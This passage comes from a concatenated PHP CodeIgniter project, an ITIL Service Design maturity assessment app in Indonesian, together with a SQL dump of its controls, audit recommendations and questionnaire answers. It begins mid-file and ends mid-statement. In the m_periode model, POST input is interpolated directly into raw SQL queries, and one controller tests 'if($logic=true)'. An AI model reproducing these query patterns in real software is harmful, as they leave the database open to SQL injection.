get_edit_nilai($id_nilai) { $this->db->select('*'); $this->db->from('nilai_harapan'); $this->db->where('id_nilai', $id_nilai); $data = $this->db->get(); return $data->result_array(); } public function edit_nilai($id_nilai, $keterangan){ $this->db->set('keterangan', $keterangan); $this->db->where('id_nilai', $id_nilai); $this->db->update('nilai_harapan'); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_hasil extends CI_Model { public function __construct() { parent::__construct(); } public function getHasil() { $this->db->select('*'); $this->db->from('view_hasil'); $this->db->order_by('id_user'); $this->db->order_by('id_co'); $data = $this->db->get(); return $data->result(); } public function getPeriode(){ $this->db->select('*'); $this->db->from('periode'); $data = $this->db->get(); return $data->result(); } public function get_maturity($id_maturity){ $this->db->select('*'); $this->db->from('maturity'); $this->db->where('id_maturity', $id_maturity); $data = $this->db->get(); return $data->result(); } public function get_hasil_final($id_periode){ $this->db->select('view_hasil.id_periode, control.area, (sum(hasil)/count(control.id_co)) as final, (max(maturity.id_maturity)-(sum(hasil)/count(control.id_co))) as gap'); $this->db->from('view_hasil'); $this->db->join('control', 'control.id_co = view_hasil.id_co'); $this->db->join('kuesioner', 'kuesioner.id_co = control.id_co'); $this->db->join('jawaban', 'jawaban.id_kuesioner = kuesioner.id_kuesioner'); $this->db->join('maturity', 'maturity.id_maturity = jawaban.id_maturity'); $this->db->group_by('control.area'); $this->db->where('view_hasil.id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } public function get_rata_final($id_periode){ $this->db->select('periode, (sum(hasil_akhir)/count(area)) as hasil_evaluasi, (sum(hasil_akhir)/count(area)) - (nilai_harapan.id_maturity) as gap'); $this->db->from('view_hasil_proses'); $this->db->join('jawaban', 'jawaban.id_periode = view_hasil_proses.periode'); $this->db->join('periode', 'periode.id_periode = jawaban.id_periode'); $this->db->join('maturity', 'maturity.id_maturity = jawaban.id_maturity'); $this->db->join('nilai_harapan', 'nilai_harapan.id_maturity = maturity.id_maturity'); $this->db->where('view_hasil_proses.periode', $id_periode); $this->db->where('nilai_harapan.id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } public function get_hasil_co($id_periode){ $this->db->select('*'); $this->db->from('view_hasil_co'); $this->db->where('id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } public function get_detail_co($id_co){ $this->db->select('*'); $this->db->from('view_detail_co'); $this->db->where('id_co', $id_co); $data = $this->db->get(); return $data->result(); } public function get_nilai_harapan($id_periode){ $this->db->select('*'); $this->db->from('nilai_harapan'); $this->db->where('id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class periode extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_periode'); } public function index() { $data = $this->m_periode->getPeriode(); $this->load->view('header'); $this->load->view('view_periode', array('mydata' => $data)); } public function form_add_periode() { $data = $this->m_periode->get_id_periode(); $this->load->view('header'); $this->load->view('view_periode_create', array('datas' => $data) ); } public function add_periode(){ $input=array( 'id_periode' => $this->input->post('id_periode'), 'periode_awal' => $this->input->post('periode_awal'), 'periode_akhir' => $this->input->post('periode_akhir') ); $cek = $this->m_periode->cek($input); if($cek == true){ $this->session->set_flashdata('message','periode sudah ada, silahkan input lagi'); redirect('periode/form_add_periode'); } else { $logic = $this->m_periode->input_periode($input); if($logic==true){ $this->session->set_flashdata('message','input berhasil'); $this->index(); } else { $this->session->set_flashdata('message','input gagal'); redirect('periode/form_add_periode'); } } } public function form_edit_periode($id_periode) { $data = $this->m_periode->get_edit_periode($id_periode); $this->load->view('header'); $this->load->view('view_periode_edit', array('datas' => $data)); } public function edit_periode($id_periode){ $input=array( 'id_periode' => $this->input->post('id_periode'), 'periode_awal' => $this->input->post('periode_awal'), 'periode_akhir' => $this->input->post('periode_akhir') ); $id_periode = $_POST['id_periode']; $cek = $this->m_periode->cek($input); if($cek == true){ $this->session->set_flashdata('message','periode sudah ada'); redirect('periode/form_edit_periode/'.$id_periode); } else { $logic = $this->m_periode->edit_periode($input); if($logic=true){ $this->session->set_flashdata('message','input berhasil'); $this->index(); } else { $this->session->set_flashdata('message','input gagal'); redirect('periode/form_edit_periode/'.$id_periode); } } } public function delete_periode($id_periode){ $this->m_periode->delete_periode($id_periode); redirect('periode'); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_periode extends CI_Model { public function __construct() { parent::__construct(); } public function getPeriode() { $this->db->select('*'); $this->db->from('periode'); $data = $this->db->get(); return $data->result(); } public function get_id_periode(){ $this->db->select('(max(id_periode)+1) as id_periode'); $this->db->from('periode'); $data = $this->db->get(); return $data->result_array(); } public function input_periode($input){ return $query = $this->db->query("INSERT INTO periode (id_periode, periode_awal, periode_akhir) VALUES ('$input[id_periode]', '$input[periode_awal]', '$input[periode_akhir]') "); } public function get_edit_periode($id_periode){ $this->db->select('*'); $this->db->from('periode'); $this->db->where('id_periode', $id_periode); $data = $this->db->get(); return $data->result_array(); } public function edit_periode($input){ return $query = $this->db->query("UPDATE periode SET periode_awal='$input[periode_awal]', periode_akhir='$input[periode_akhir]' WHERE id_periode='$input[id_periode]'"); } public function delete_periode($id_periode){ $this->db->delete('periode', array('id_periode' => $id_periode)); } public function cek($input) { return $query = $this->db->query("SELECT * FROM periode WHERE periode_akhir >= '$input[periode_awal]' ORDER BY id_periode desc limit 1")->result_array(); } public function sekarang() { return $query = $this->db->query("SELECT GETDATE() AS now"); } public function awal() { return $query = $this->db->query("SELECT periode_awal from periode"); } public function akhir() { return $query = $this->db->query("SELECT periode_akhir from periode"); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class itil extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_itil'); } public function index() { $data = $this->m_itil->getItil(); $this->load->view('header'); $this->load->view('view_itil', array('mydata' => $data)); } public function view_itil_detail() { $data = $this->m_itil->getItilDetail(); $this->load->view('header'); $this->load->view('view_itil_detail', array('mydata' => $data)); } } <file_sep>-- phpMyAdmin SQL Dump -- version 4.5.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: Jul 20, 2017 at 10:28 AM -- Server version: 10.1.16-MariaDB -- PHP Version: 7.0.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `servdesign` -- -- -------------------------------------------------------- -- -- Table structure for table `control` -- CREATE TABLE `control` ( `id_co` varchar(10) NOT NULL, `control` varchar(100) NOT NULL, `area` varchar(25) NOT NULL, `ket_control` text NOT NULL, `id_service` varchar(10) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `control` -- INSERT INTO `control` (`id_co`, `control`, `area`, `ket_control`, `id_service`) VALUES ('c01', 'Prinsip-prinsip Service Design', 'Process Area 1', 'Proses yang menjelaskan tentang aspek dasar dari Service Design', 's1'), ('c02', 'Service Catalogue Management', 'Process Area 2', 'proses untuk memastikan sebuah dokumen katalog layanan (Service Catalog) diproduksi dan diperbaharui selalu, berisi informasi-informasi terkini dan akurat tentang semua layanan TI yang sedang dipersiapkan untuk segera beroperasi.', 's1'), ('c03', 'Service Level Management', 'Process Area 2', 'proses untuk menegosiasikan dan menghasilkan dokumen Service Level Agreements (SLA) dengan pelanggan, memastikan semua Operational Level Agreements (OLA) dan Underpinning Contracts (UC) mampu mendukung pencapaian SLA, serta memonitor dan melaporkan capaian-capaian kualitas layanan yag berjalan. ', 's1'), ('c04', 'Capacity Management', 'Process Area 2', 'proses memastikan kapasistas layanan-layanan TI dan infrastruktur pendukungnya mampu memenuhi target-target tingkat layanan yang telah disepakati, efektif secara biaya dan waktu', 's1'), ('c05', 'Avaibility Management', 'Process Area 2', 'proses mendefinisikan, menganalisis, merencanankan, mengukur, dan meningkatkan semua aspek availabilitas layanan-layanan TI. Proses ini juga bertanggung jawab memastikan semua infrastruktur, proses, tools, dan peran mendukung pencapaian target-target ketersediaan (avaibilitas) yang telah disetujui.', 's1'), ('c06', 'IT Service Continuity Management', 'Process Area 2', 'proses menilai dan mengelola risiko-risiko yang berdampak serius bagi layanan-layanan TI dan memastikan penyedia layanan dapat selalu menyediakan layanan pada tingkat minimum yang telah disepakati dengan menekan risiko ', 's1'), ('c07', 'Information Security Management', 'Process Area 2', 'proses memastikan kerahasiaan, kebenaran, dan ketersediaan informasi organisasi dan sistem informasi sesuai dengan kebutuhan bisnis organisasi yang telah disetujui.', 's1'), ('c08', 'Supplier Management', 'Process Area 2', 'proses memastikan semua kontrak dengan supplier (UC) memenuhi kebutuhan bisnis organisasi, memastikan semua supplier memenuhi komitmen-komitmen kontrak mereka, mereview kontrak, dan menjaga hubungan dengan supplier', 's1'), ('c09', 'Design Coordination', 'Process Area 2', 'proses mengkoordinasikan semua aktivitas-aktivitas, proses, dan sumber-sumber daya Service Design. Proses ini memastikan setiap rancangan layanan TI baru atau layanan TI yang lama akan diubah konsisten dan efektif dalama pengelolaannya, arsitektur, teknologi, proses, informasi hingga ukurannya (metrik).', 's1'), ('c10', 'Pengorganisasian Service Design', 'Human Area', 'Proses perencanan dan pengorganisasian sumber daya dalam service design', 's1'), ('c11', 'Teknologi untuk Service Design', 'Technology Area 1', 'Teknologi yang terkait dalam segala hal yang menyangkut kegiatan atau aktivitas dari proses service design dan harus dimiliki oleh suatu organisasi', 's1'), ('c12', 'Pertimbangan Teknologi Service Design', 'Technology Area 2', 'Pertimbangan terknologi yang harus dimiliki oleh sebuah organisasi dalam memberikan dan mengelola kebutuhan dalam manajemen layanan teknologi informasi', 's1'); -- -------------------------------------------------------- -- -- Table structure for table `hasil_rekomendasi` -- CREATE TABLE `hasil_rekomendasi` ( `id_rekomendasi` int(11) NOT NULL, `temuan` text NOT NULL, `rekomendasi` text NOT NULL, `id_periode` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `hasil_rekomendasi` -- INSERT INTO `hasil_rekomendasi` (`id_rekomendasi`, `temuan`, `rekomendasi`, `id_periode`) VALUES (1, 'Belum adanya inisialisasi awal terhadap dampak bisnis sebelum pelaksanaan rancangan layanan TI', 'Inisialiasi awal dalam pelaksanaan layanan TI merupakan hal dasar yang digunakan sebagai atribut-atribut dari Service Design Packages (SDP). Inisialisasi seharusnya dirancang sebelum memproduksi SDP secara berkelanjutan.', 1), (2, 'Belum dilakukan identifikasi risiko yang mungkin timbul pada layanan TI aplikasi SISTER pada lingkungan organisasi', 'Identifikasi risiko ini sangat diperlukan untuk mengetahui daftar resiko dan ancaman apa saja yang mungkin timbul dan bisa menyebabkan aplikasi SISTER yang beroperasi mengalami kerusakan maupun kehilangan. Daftar resiko yang mungkin timbul, seperti kerusakan pada aplikasi dan tidak berfungsinya peralatan akibat gejala alam dan kecelakaan, kesalahan dan tidak berfungsinya peralatan pada sistem aplikasi, Kerusakan akibat jaringan pada sistem, kerusakan dan kehilangan akibat kesalahan manusia, kehilangan informasi atau data pada sistem, dan tidak berjalannya sistem karena database kurang baik. Sehingga diperlukan backup data, untuk menghindari resiko yang mungkin terjadi di kemudian hari.', 1), (3, 'Belum adanya pendokumentasian yang baik terkait perancangan layanan TI', 'Memproduksi Service Design Packages (SDP) secara lengkap. Karena SDP menghubungkan semua unit bisnis dan fungsi-fungsi layanan TI.', 1), (4, 'Belum adanya pengarahan untuk meningkatkan kesadaran mengenai pentingnya informasi layanan TI yang ada pada Service Catalogue', 'Divisi TI pada perusahaan bisa menyediakan fasilitas kepada karyawannya untuk mengikuti sertifikasi ITIL versi 3 dengan mengambil proses Service Catalogue Management , yang bertujuan agar : \r\n1. Staff mampu memahami konsep dari pengelolaan layanan TI berdasarkan framework IT Infrastructure Library (ITIL) versi 3 \r\n2. Staff mampu melakukan analisis studi kasus ITIL dalam \r\norganisasi/ perusahaannya\r\n3. Staff dapat mengerti tahapan dan metodologi dalam mengimplementasikan konsep ITIL versi 3 pada perusahaan\r\n', 1), (5, 'Perusahaan belum memiliki personel khusus pada divisi TI yang bertanggung jawab dalam meningkatkan keakuratan data pada katalog layanan', 'Perusahaan membuat kebijakan pedoman organisasi baru khususnya pada divisi TI agar pendefinisian job desk masing-masing karyawan dapat merata, sehingga semua tugas-tugas dapat diselesaikan dengan cepat. Dalam hal ini keakuratan katalog layanan juga penting agar setiap informasi yang ada mengenai aplikasi SISTER bisa terus diperbarui.', 1), (6, 'Belum terdapat pelaporan mengenai penyediaan layanan TI yang dikeluhkan dari pengguna kepada divisi TI perusahaan', 'Pelaporan mengenai keluhan terhadap SISTER ini sangat diperlukan untuk mengetahui apa saja kekurangan dari SISTER itu sendiri, sehingga memudahkan divisi TI untuk segera melakukan evaluasi dan perbaikan terhadap keluhan dari pengguna', 1), (7, 'Belum adanya pembuatan laporan terhadap kapasistas layanan TI', 'Pelaporan mengenai kapasitas layanan TI terhadap SISTER ini sangat diperlukan untuk mengetahui apa saja batas-batas dari SISTER itu sendiri, sehingga memudahkan divisi TI untuk menghindari adanya gangguan yang sama karena telah memiliki pelaporan secara rutin.', 1), (8, 'Belum mendefinisikan tentang Bussiness Capacity Management ', 'Bussiness Capacity Management memungkinkan untuk mengelola kebutuhan bisnis sesuai dengan kapasitas dari infrastruktur atau perangkat TI yang dimiliki yang membantu dalam pencegahan penggunaan SISTER yang melebihi kapasitas SISTER itu sendiri', 1), (9, 'Belum mendefinisikan tentang Component Capacity Management', 'Component Capacity Management memungkinkan untuk menghitung kapasitas dari infrastruktur atau perangkat TI yang membantu dalam menunjang penggunaan SISTER. Perlu dibuat daftar infrastruktur TI apa saja yang ada diperusahaan dan dihitung kapasitasnya agar bisa diketahui apakah kapasitas tersebut sudah memenuhi yang diharapkan perusahaan atau belum', 1), (10, 'Belum melakukan pendefinisian organisasi dalam melakukan perbaikan layanan TI secara terus menerus serta menetapkan prosedur dan instruksi kerja organisasi tersebut', 'Perusahaan perlu mendefinisikan organisasi secara khusus yang ada pada divisi TI untuk melakukan perbaikan terhadap SISTER secara terus-menerus. Berikut merupakan instruksi kerja yang harus dilakukan : \r\n1. Melakukan pengukuran berkala untuk mengetahui apakah ada kerusakan atau kesalahan pada sistem \r\n2. Melakukan perbaikan jika terjadi kesalahan bug atau program pada aplikasi\r\n3. Menangani berbagai keluhan dari pengguna, seperti jika sistem down dan aplikasi tidak bisa diakses \r\n', 1), (11, 'Belum melakukan penjadwalan untuk pelaksanaan audit dari tim internal perusahaan terhadap keamanan pada layanan TI', 'Membuat jadwal untuk dilakukannya audit keamanan dari tim internal perusahaan, misalkan divisi TI yang menangani secara khusus keamanan informasi melakukan audit secara berkala terhadap aplikasi SISTER agar segera mungkin dapat dilakukan kontrol pengendalian', 1), (12, 'Belum mendefinisikan bagaimana cara melakukan evaluasi terhadap kontrak kerja supplier', 'Evaluasi memungkinkan adanya pemberhentian kontrak terhadap supplier. Jika evaluasi terhadap kontrak kerja tidak terdokumentasi dengan baik, maka perjanjian kontrak akan diberhentikan atau pihak supplier merasa dirugikan. ', 1), (13, 'Belum memiliki Supplier and Contract Database', 'Supplier and Contract Database diperlukan karena mencakup data record seluruh supplier, rincian kontrak yang telah disepakati oleh supplier dan perusahaan, jenis layanan yang diberikan supplier kepada pengguna seperti apa, serta produk-produk yang disediakan oleh supplier. Sehingga kontrak antara supplier dan perusahaan terdokumentasi dengan baik', 1), (14, 'Belum adanya pendefinisian ruang lingkup terhadap supplier', 'Ruang lingkup supplier harus berdasarkan dengan kebutuhan bisnis dari seluruh ruang lingkup yang dimiliki perusahaan. Karena kebutuhan bisnis perusahaan juga merupakan kontrak yang telah disetujui oleh perusahaan dan supplier, agar permintaan perusahaan terpenuhi.', 1), (15, 'Belum mendefinisikan tentang Service Design Packages', 'Service Design Packages (SDP) mendefinisikan seluruh aspek dalam layanan TI dan keseluruhan persyaratan dari setiap tahap lifecycle service. Aspek layanan desai diproduksi untuk setiap layanan TI baru, perubahan-perubahan besar, atau layanan yang dikeluarkan. ', 1), (16, 'Belum menggunakan Model RACI (Responsible, Accountable, Consulted and Informed) yang digunakan untuk mendefinisikan peran dan tanggung jawab untuk Service Design', 'Matriks RACI perlu dibuat oleh divisi TI untuk menggambarkan peran berbagai pihak dalam penyelesaian suatu pekerjaan dalam suatu proyek diperusahaan. Matriks ini bermanfaat dalam menjelaskan peran dan tanggung jawab antar divisi di dalam suatu proyek atau proses. RACI memiliki empat singkatan, yaitu Responsible, Accountable, Consulted and Informed. Pentingnya RACI', 1), (17, 'Belum melakukan deskripsi dari aktivitas aktivitas dari matriks RACI', 'Deskripsi aktivitas-aktivitas matriks RACI harus segara dilakukan. Berikut merupakan fungsi RACI:\r\n1. Mengidentifikasi beban kerja yang telah ditugaskan kepada karyawan tertentu atau departemen\r\n2. Memastikan bahwa proses tertentu tidak terlalu dominan\r\n3. Memastikan bahwa anggota baru dijelaskan tentang peran dan tanggung jawab\r\n4. Menemukan keseimbangan yang tepat antara garis dan tanggung jawab proyek\r\n5. Mendistribusikan kerja antara kelompok untuk mendapatkan efisiensi kerja yang lebih baik\r\n6. Terbuka untuk menyelesaikan konflik dan diskusi\r\n7. Mendokumentasikan peran dan tanggung jawab orang-orang dalam organisasi\r\n', 1), (18, 'Belum adanya alat atau tools yang memungkinkan untuk melakukan pengelolaan biaya layanan', 'Perusahaan harus memiliki alat atau tools untuk melakukan pengelolaan biaya terkait proyek bisnis. Ini diperlukan untuk memperhitungkan risiko proyek bisnis. Sehingga perlu ada rincian pengelolaan biaya proyek bisnis, agar setiap proyek bias berjalan dengan baik dan benar serta sesuai dengan strategi bisnis dari setiap perusahaan atau organisasi', 1); -- -------------------------------------------------------- -- -- Table structure for table `jawaban` -- CREATE TABLE `jawaban` ( `id_jawaban` int(11) NOT NULL, `id_kuesioner` varchar(10) NOT NULL, `id_maturity` varchar(10) DEFAULT NULL, `id_periode` int(5) UNSIGNED ZEROFILL NOT NULL, `id_user` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `jawaban` -- INSERT INTO `jawaban` (`id_jawaban`, `id_kuesioner`, `id_maturity`, `id_periode`, `id_user`) VALUES (2874, 'k01', '3', 00001, 7), (2875, 'k02', '3', 00001, 7), (2876, 'k03', '3', 00001, 7), (2877, 'k04', '3', 00001, 7), (2878, 'k05', '3', 00001, 7), (2879, 'k06', '3', 00001, 7), (2880, 'k07', '3', 00001, 7), (2881, 'k08', '2', 00001, 7), (2882, 'k09', '3', 00001, 7), (2883, 'k10', '3', 00001, 7), (2884, 'k11', '3', 00001, 7), (2885, 'k12', '2', 00001, 7), (2886, 'k13', '2', 00001, 7), (2887, 'k14', '2', 00001, 7), (2888, 'k15', '2', 00001, 7), (2889, 'k16', '3', 00001, 7), (2890, 'k17', '2', 00001, 7), (2891, 'k18', '3', 00001, 7), (2892, 'k19', '2', 00001, 7), (2893, 'k20', '3', 00001, 7), (2894, 'k21', '3', 00001, 7), (2895, 'k22', '3', 00001, 7), (2896, 'k23', '3', 00001, 7), (2897, 'k24', '3', 00001, 7), (2898, 'k25', '3', 00001, 7), (2899, 'k26', '3', 00001, 7), (2900, 'k27', '3', 00001, 7), (2901, 'k28', '2', 00001, 7), (2902, 'k29', '3', 00001, 7), (2903, 'k30', '2', 00001, 7), (2904, 'k31', '2', 00001, 7), (2905, 'k32', '3', 00001, 7), (2906, 'k33', '3', 00001, 7), (2907, 'k34', '3', 00001, 7), (2908, 'k35', '3', 00001, 7), (2909, 'k36', '3', 00001, 7), (2910, 'k37', '3', 00001, 7), (2911, 'k38', '2', 00001, 7), (2912, 'k39', '3', 00001, 7), (2913, 'k40', '3', 00001, 7), (2914, 'k41', '3', 00001, 7), (2915, 'k42', '3', 00001, 7), (2916, 'k43', '3', 00001, 7), (2917, 'k44', '3', 00001, 7), (2918, 'k45', '3', 00001, 7), (2919, 'k46', '3', 00001, 7), (2920, 'k47', '2', 00001, 7), (2921, 'k48', '3', 00001, 7), (2922, 'k49', '2', 00001, 7), (2923, 'k50', '3', 00001, 7), (2924, 'k51', '3', 00001, 7), (2925, 'k52', '3', 00001, 7), (2926, 'k53', '3', 00001, 7), (2927, 'k54', '3', 00001, 7), (2928, 'k55', '3', 00001, 7), (2929, 'k56', '3', 00001, 7), (2930, 'k57', '3', 00001, 7), (2931, 'k58', '3', 00001, 7), (2932, 'k59', '3', 00001, 7), (2933, 'k60', '2', 00001, 7), (2934, 'k61', '2', 00001, 7), (2935, 'k62', '3', 00001, 7), (2936, 'k63', '3', 00001, 7), (2937, 'k64', '2', 00001, 7), (2938, 'k65', '2', 00001, 7), (2939, 'k66', '2', 00001, 7), (2940, 'k67', '3', 00001, 7), (2941, 'k68', '2', 00001, 7), (2942, 'k69', '3', 00001, 7), (2943, 'k70', '3', 00001, 7), (2944, 'k71', '3', 00001, 7), (2945, 'k72', '3', 00001, 7), (2946, 'k73', '3', 00001, 7), (2947, 'k74', '3', 00001, 7), (2948, 'k75', '3', 00001, 7), (2949, 'k76', '3', 00001, 7), (2950, 'k77', '3', 00001, 7), (2951, 'k78', '3', 00001, 7), (2952, 'k79', '3', 00001, 7), (2953, 'k80', '3', 00001, 7), (2954, 'k81', '3', 00001, 7), (2955, 'k82', '3', 00001, 7), (2956, 'k83', '3', 00001, 7), (2957, 'k84', '3', 00001, 7), (2958, 'k85', '3', 00001, 7), (2959, 'k86', '3', 00001, 7), (2960, 'k87', '3', 00001, 7), (2961, 'k88', '3', 00001, 7), (2962, 'k89', '3', 00001, 7), (2963, 'k90', '3', 00001, 7), (3001, 'k01', '3', 00001, 8), (3002, 'k02', '3', 00001, 8), (3003, 'k03', '4', 00001, 8), (3004, 'k04', '1', 00001, 8), (3005, 'k05', '3', 00001, 8), (3006, 'k06', '3', 00001, 8), (3007, 'k07', '3', 00001, 8), (3008, 'k08', '2', 00001, 8), (3009, 'k09', '1', 00001, 8), (3010, 'k10', '2', 00001, 8), (3011, 'k11', '1', 00001, 8), (3012, 'k12', '1', 00001, 8), (3013, 'k13', '1', 00001, 8), (3014, 'k14', '1', 00001, 8), (3015, 'k15', '1', 00001, 8), (3016, 'k16', '4', 00001, 8), (3017, 'k17', '1', 00001, 8), (3018, 'k18', '1', 00001, 8), (3019, 'k19', '1', 00001, 8), (3020, 'k20', '1', 00001, 8), (3021, 'k21', '3', 00001, 8), (3022, 'k22', '3', 00001, 8), (3023, 'k23', '3', 00001, 8), (3024, 'k24', '3', 00001, 8), (3025, 'k25', '3', 00001, 8), (3026, 'k26', '3', 00001, 8), (3027, 'k27', '3', 00001, 8), (3028, 'k28', '3', 00001, 8), (3029, 'k29', '3', 00001, 8), (3030, 'k30', '3', 00001, 8), (3031, 'k31', '1', 00001, 8), (3032, 'k32', '1', 00001, 8), (3033, 'k33', '3', 00001, 8), (3034, 'k34', '2', 00001, 8), (3035, 'k35', '3', 00001, 8), (3036, 'k36', '3', 00001, 8), (3037, 'k37', '3', 00001, 8), (3038, 'k38', '3', 00001, 8), (3039, 'k39', '3', 00001, 8), (3040, 'k40', '3', 00001, 8), (3041, 'k41', '3', 00001, 8), (3042, 'k42', '3', 00001, 8), (3043, 'k43', '3', 00001, 8), (3044, 'k44', '3', 00001, 8), (3045, 'k45', '3', 00001, 8), (3046, 'k46', '3', 00001, 8), (3047, 'k47', '4', 00001, 8), (3048, 'k48', '3', 00001, 8), (3049, 'k49', '3', 00001, 8), (3050, 'k50', '2', 00001, 8), (3051, 'k51', '1', 00001, 8), (3052, 'k52', '1', 00001, 8), (3053, 'k53', '1', 00001, 8), (3054, 'k54', '3', 00001, 8), (3055, 'k55', '3', 00001, 8), (3056, 'k56', '1', 00001, 8), (3057, 'k57', '1', 00001, 8), (3058, 'k58', '3', 00001, 8), (3059, 'k59', '3', 00001, 8), (3060, 'k60', '2', 00001, 8), (3061, 'k61', '3', 00001, 8), (3062, 'k62', '3', 00001, 8), (3063, 'k63', '2', 00001, 8), (3064, 'k64', '1', 00001, 8), (3065, 'k65', '1', 00001, 8), (3066, 'k66', '1', 00001, 8), (3067, 'k67', '1', 00001, 8), (3068, 'k68', '1', 00001, 8), (3069, 'k69', '1', 00001, 8), (3070, 'k70', '1', 00001, 8), (3071, 'k71', '1', 00001, 8), (3072, 'k72', '2', 00001, 8), (3073, 'k73', '2', 00001, 8), (3074, 'k74', '2', 00001, 8), (3075, 'k75', '2', 00001, 8), (3076, 'k76', '2', 00001, 8), (3077, 'k77', '2', 00001, 8), (3078, 'k78', '4', 00001, 8), (3079, 'k79', '4', 00001, 8), (3080, 'k80', '3', 00001, 8), (3081, 'k81', '4', 00001, 8), (3082, 'k82', '4', 00001, 8), (3083, 'k83', '4', 00001, 8), (3084, 'k84', '4', 00001, 8), (3085, 'k85', '4', 00001, 8), (3086, 'k86', '4', 00001, 8), (3087, 'k87', '1', 00001, 8), (3088, 'k88', '1', 00001, 8), (3089, 'k89', '2', 00001, 8), (3090, 'k90', '2', 00001, 8), (3128, 'k01', '2', 00001, 9), (3129, 'k02', '3', 00001, 9), (3130, 'k03', '4', 00001, 9), (3131, 'k04', '3', 00001, 9), (3132, 'k05', '5', 00001, 9), (3133, 'k06', '5', 00001, 9), (3134, 'k07', '5', 00001, 9), (3135, 'k08', '5', 00001, 9), (3136, 'k09', '5', 00001, 9), (3137, 'k10', '4', 00001, 9), (3138, 'k11', '3', 00001, 9), (3139, 'k12', '3', 00001, 9), (3140, 'k13', '1', 00001, 9), (3141, 'k14', '1', 00001, 9), (3142, 'k15', '2', 00001, 9), (3143, 'k16', '2', 00001, 9), (3144, 'k17', '2', 00001, 9), (3145, 'k18', '2', 00001, 9), (3146, 'k19', '2', 00001, 9), (3147, 'k20', '4', 00001, 9), (3148, 'k21', '5', 00001, 9), (3149, 'k22', '5', 00001, 9), (3150, 'k23', '5', 00001, 9), (3151, 'k24', '3', 00001, 9), (3152, 'k25', '3', 00001, 9), (3153, 'k26', '3', 00001, 9), (3154, 'k27', '4', 00001, 9), (3155, 'k28', '2', 00001, 9), (3156, 'k29', '2', 00001, 9), (3157, 'k30', '2', 00001, 9), (3158, 'k31', '2', 00001, 9), (3159, 'k32', '4', 00001, 9), (3160, 'k33', '4', 00001, 9), (3161, 'k34', '5', 00001, 9), (3162, 'k35', '2', 00001, 9), (3163, 'k36', '2', 00001, 9), (3164, 'k37', '4', 00001, 9), (3165, 'k38', '4', 00001, 9), (3166, 'k39', '4', 00001, 9), (3167, 'k40', '4', 00001, 9), (3168, 'k41', '5', 00001, 9), (3169, 'k42', '5', 00001, 9), (3170, 'k43', '5', 00001, 9), (3171, 'k44', '5', 00001, 9), (3172, 'k45', '3', 00001, 9), (3173, 'k46', '4', 00001, 9), (3174, 'k47', '2', 00001, 9), (3175, 'k48', '4', 00001, 9), (3176, 'k49', '4', 00001, 9), (3177, 'k50', '4', 00001, 9), (3178, 'k51', '4', 00001, 9), (3179, 'k52', '2', 00001, 9), (3180, 'k53', '2', 00001, 9), (3181, 'k54', '2', 00001, 9), (3182, 'k55', '2', 00001, 9), (3183, 'k56', '2', 00001, 9), (3184, 'k57', '2', 00001, 9), (3185, 'k58', '2', 00001, 9), (3186, 'k59', '2', 00001, 9), (3187, 'k60', '2', 00001, 9), (3188, 'k61', '2', 00001, 9), (3189, 'k62', '2', 00001, 9), (3190, 'k63', '2', 00001, 9), (3191, 'k64', '2', 00001, 9), (3192, 'k65', '2', 00001, 9), (3193, 'k66', '2', 00001, 9), (3194, 'k67', '1', 00001, 9), (3195, 'k68', '1', 00001, 9), (3196, 'k69', '2', 00001, 9), (3197, 'k70', '4', 00001, 9), (3198, 'k71', '2', 00001, 9), (3199, 'k72', '4', 00001, 9), (3200, 'k73', '4', 00001, 9), (3201, 'k74', '3', 00001, 9), (3202, 'k75', '3', 00001, 9), (3203, 'k76', '3', 00001, 9), (3204, 'k77', '4', 00001, 9), (3205, 'k78', '3', 00001, 9), (3206, 'k79', '1', 00001, 9), (3207, 'k80', '4', 00001, 9), (3208, 'k81', '5', 00001, 9), (3209, 'k82', '5', 00001, 9), (3210, 'k83', '4', 00001, 9), (3211, 'k84', '2', 00001, 9), (3212, 'k85', '4', 00001, 9), (3213, 'k86', '4', 00001, 9), (3214, 'k87', '2', 00001, 9), (3215, 'k88', '1', 00001, 9), (3216, 'k89', '4', 00001, 9), (3217, 'k90', '4', 00001, 9), (3255, 'k01', '4', 00001, 10), (3256, 'k02', '2', 00001, 10), (3257, 'k03', '1', 00001, 10), (3258, 'k04', '2', 00001, 10), (3259, 'k05', '4', 00001, 10), (3260, 'k06', '2', 00001, 10), (3261, 'k07', '4', 00001, 10), (3262, 'k08', '2', 00001, 10), (3263, 'k09', '3', 00001, 10), (3264, 'k10', '3', 00001, 10), (3265, 'k11', '3', 00001, 10), (3266, 'k12', '2', 00001, 10), (3267, 'k13', '2', 00001, 10), (3268, 'k14', '2', 00001, 10), (3269, 'k15', '2', 00001, 10), (3270, 'k16', '3', 00001, 10), (3271, 'k17', '2', 00001, 10), (3272, 'k18', '3', 00001, 10), (3273, 'k19', '2', 00001, 10), (3274, 'k20', '3', 00001, 10), (3275, 'k21', '2', 00001, 10), (3276, 'k22', '4', 00001, 10), (3277, 'k23', '3', 00001, 10), (3278, 'k24', '2', 00001, 10), (3279, 'k25', '2', 00001, 10), (3280, 'k26', '2', 00001, 10), (3281, 'k27', '3', 00001, 10), (3282, 'k28', '2', 00001, 10), 